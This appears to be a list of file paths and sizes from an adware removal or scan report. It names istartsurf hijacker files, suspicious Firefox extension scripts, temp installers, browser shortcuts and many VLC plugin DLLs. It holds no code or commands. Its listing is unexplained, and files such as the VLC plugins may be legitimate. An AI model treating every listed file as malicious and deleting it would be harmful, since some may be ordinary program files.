C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1429342553_xpi\chrome\locale\fr-CA\locale.properties (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1429342553_xpi\chrome\locale\fr-BE\locale.properties (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1429342553_xpi\modules\remoterequest.js (2 bytes)
C:\Users\Public\Desktop\Google Chrome.lnk (2 bytes)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Google Chrome\Google Chrome.lnk (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1429342553_xpi\chrome\skin\default_logo.png (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1429342553_xpi\chrome\skin\loading.gif (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Google\Chrome\User Data\Default\2AC8.tmp (113 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\UninstallManager.exe (14022 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1429342553_xpi\chrome\locale\ru-MO\locale.properties (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\Google Chrome.lnk (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\code\Thumbs.db (42 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1429342553_xpi\chrome\locale\vi\locale.properties (2 bytes)
%Program Files% (x86)\Mozilla Firefox\browser\searchplugins\istartsurf.xml (553 bytes)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Mozilla Firefox.lnk (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\Thumbs.db (27 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1429342553_xpi\modules\properties.js (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1429342553_xpi\chrome\locale\zh-CN\locale.properties (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1429342553_xpi\chrome\content\js\module\search.js (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1429342553_xpi\chrome\skin\newtab.ico (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Google\Chrome\User Data\Default\2A98.tmp (113 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1429342553_xpi\chrome\content\js\module\stat.js (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1429342553_xpi\chrome\locale\fr-LU\locale.properties (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1429342553_xpi\modules\settings.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp527985\tmp\474.db (155 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp527985\tmp\wpm_v20.0.0.1953_0302.exe (988 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\WebDataJs (40 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp527985\tmp\XTab_Setup2121.exe (148 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\D285HURO\SMALLTEST[1].htm (70 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libsubsdelay_plugin.dll (81 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_chroma\libi420_rgb_plugin.dll (94 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libgradient_plugin.dll (86 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libball_plugin.dll (81 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libgrain_plugin.dll (77 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libhqdn3d_plugin.dll (81 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_chroma\librv32_plugin.dll (73 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libmosaic_plugin.dll (90 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libcolorthres_plugin.dll (77 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_chroma\libyuy2_i422_plugin.dll (73 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_output\libvmem_plugin.dll (77 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libremoteosd_plugin.dll (462 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libextract_plugin.dll (81 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libantiflicker_plugin.dll (77 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libadjust_plugin.dll (90 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libsharpen_plugin.dll (73 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_output\libglwin32_plugin.dll (114 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libripple_plugin.dll (73 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libtransform_plugin.dll (73 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_chroma\libyuy2_i420_plugin.dll (77 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_output\libwingdi_plugin.dll (102 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libpostproc_plugin.dll (163 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libdeinterlace_plugin.dll (221 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_output\libdirectx_plugin.dll (114 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_chroma\libi420_yuy2_plugin.dll (77 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libmotionblur_plugin.dll (73 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libpsychedelic_plugin.dll (77 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\plugins.dat.3092 (135036 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_output\libvdummy_plugin.dll (73 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libgradfun_plugin.dll (77 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\visualization\libgoom_plugin.dll (274 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libwave_plugin.dll (73 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libscale_plugin.dll (73 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_chroma\libi422_i420_plugin.dll (73 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libatmo_plugin.dll (229 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\liberase_plugin.dll (77 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libposterize_plugin.dll (77 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libcanvas_plugin.dll (77 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libyuvp_plugin.dll (73 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_output\libcaca_plugin.dll (802 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libosdmenu_plugin.dll (77 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libmagnify_plugin.dll (77 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_chroma\libgrey_yuv_plugin.dll (73 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libcroppadd_plugin.dll (77 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_chroma\libi422_yuy2_plugin.dll (77 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\librss_plugin.dll (86 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libpanoramix_plugin.dll (98 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\librotate_plugin.dll (77 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libgaussianblur_plugin.dll (73 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libchain_plugin.dll (73 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libmarq_plugin.dll (77 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libmirror_plugin.dll (77 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_output\libyuv_plugin.dll (73 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libsepia_plugin.dll (77 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libblend_plugin.dll (225 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libbluescreen_plugin.dll (77 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libblendbench_plugin.dll (73 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_output\libdirect2d_plugin.dll (102 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libwall_plugin.dll (77 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\liblogo_plugin.dll (81 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\visualization\libvisual_plugin.dll (98 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_output\libdrawable_plugin.dll (73 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libinvert_plugin.dll (73 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libpuzzle_plugin.dll (77 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libclone_plugin.dll (73 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_output\libdirect3d_plugin.dll (118 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libmotiondetect_plugin.dll (77 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libswscale_plugin.dll (405 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libaudiobargraph_v_plugin.dll (90 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libscene_plugin.dll (77 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\visualization\libprojectm_plugin.dll (49 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libalphamask_plugin.dll (73 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\fcd1e3efcc56376494881a5840f44668.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\195.js (414 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\75993412f37946fca43501df135b9101.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\ed25e4865e773eba7e25f1996c5a4bce.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\defaults\preferences\prefs.js (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\220.js (1592 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\27b108c0cebbe4aab1ad8c391e83b331.js (804 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\icon24.png (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\e055ba096a4270f84e5bdb65a438e474.js (28 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\9136010c804a2840f7d7c27e5d1afcd7.js (134 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\c74ac2e4f6f4f31cc4cb7288d9c2f772.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\252.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\9431c4a640636e5a4800c356296cd644.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\5f3def1ffe21b50407f4186bf271625a.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\d6ec1dab117f4ac2f2f5d541daed79e2.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\2e0fa692e5e7d961bb9d81cfa1ac2966.js (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\182.js (30 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\255.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\6c7811f10cfb98b9f1763b5345d85e98.js (357 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\670dbbe403c6360b6052e5f363ed450b.js (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\22.js (21 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\98334486106663b4a30c7033eca32d66.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\98.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\438b972f6294cdfbae9eca34e441ad3e.js (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome.manifest (634 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\345.js (663 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\391.js (801 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\install.rdf (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\button5.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\376.js (23 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\d274b38a69a3c51f8a7bff7fc4721094.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\2141b52706ef745b2a22e75e33895245.js (12 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\userCode\extension.js (358 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\manifest.xml (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\21.js (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\options.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\33b7793cc2e4404931497edf64c26ed3.js (947 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\9941ee745cddfe1005b7e7089b614a4b.js (21 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\button2.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\button3.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\13.js (14 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\01582ac40322b6d7683825c62a0263ad.js (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\locale\en-US\translations.dtd (429 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\375.js (685 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\339.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\234.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\288.js (969 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\button4.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\dda43c892e467b84c5c5a65c0f78f43a.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\281.js (461 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\83f6d845993575c3d94fcc78e4f7ef92.js (26 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\a23949c9b6c9e24ee54e99e4f08ebb4f.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\253.js (741 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\skin.css (909 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\icon48.png (8 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\180.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\16.js (804 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\b445e40fee926becbc6a7fa6a5bf3e58.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\c12defd337be815c0c356e8185da5647.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\installer.js (10 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\64.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\379.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\102.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\29f86db80793dfda37ea151f81b1eb0a.js (651 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\72.js (1601 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\242.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\panelarrow-up.png (921 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\crossrider_statusbar.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\6889d563da5c48a8ce768e0edc93745a.js (618 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\91.js (6772 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\12870b8beedc10c7c2e7042a752c1a96.js (804 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\d3a5f2653762702a2d5ebd74ef211e17.js (14 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\button1.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\1cd092e31d00a3d88980638b1aacad86.js (22 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\1cfe04157632e78d46fbd4494cd08061.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\5febde0bacdab7a8f3ec6ce44e0b706b.js (964 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\7500741a9065ecf69dfd112421772ba4.js (12 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\1.js (22 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\183.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\385.js (805 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\184.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\icon128.png (804 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\d558fdbf24bb49e9fd8ea5834f2d8296.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\78.js (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\popup.html (353 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\47.js (15 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\icon16.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\28.js (506 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\200.js (813 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\207.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\search_dialog.xul (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\dialog.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\options.xul (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\be027ac44fbc92bdd651ab8bc10b05b3.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\bedd2ff3c8cd163718841dffba2e2bef.js (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\9.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins.json (24 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\b2d1b826ecaf80956e7bcf1153760d27.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\62284fa1d9293d5cff57e6447dac23c8.js (804 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\update.css (144 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\17.js (2473 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\223.js (829 bytes)
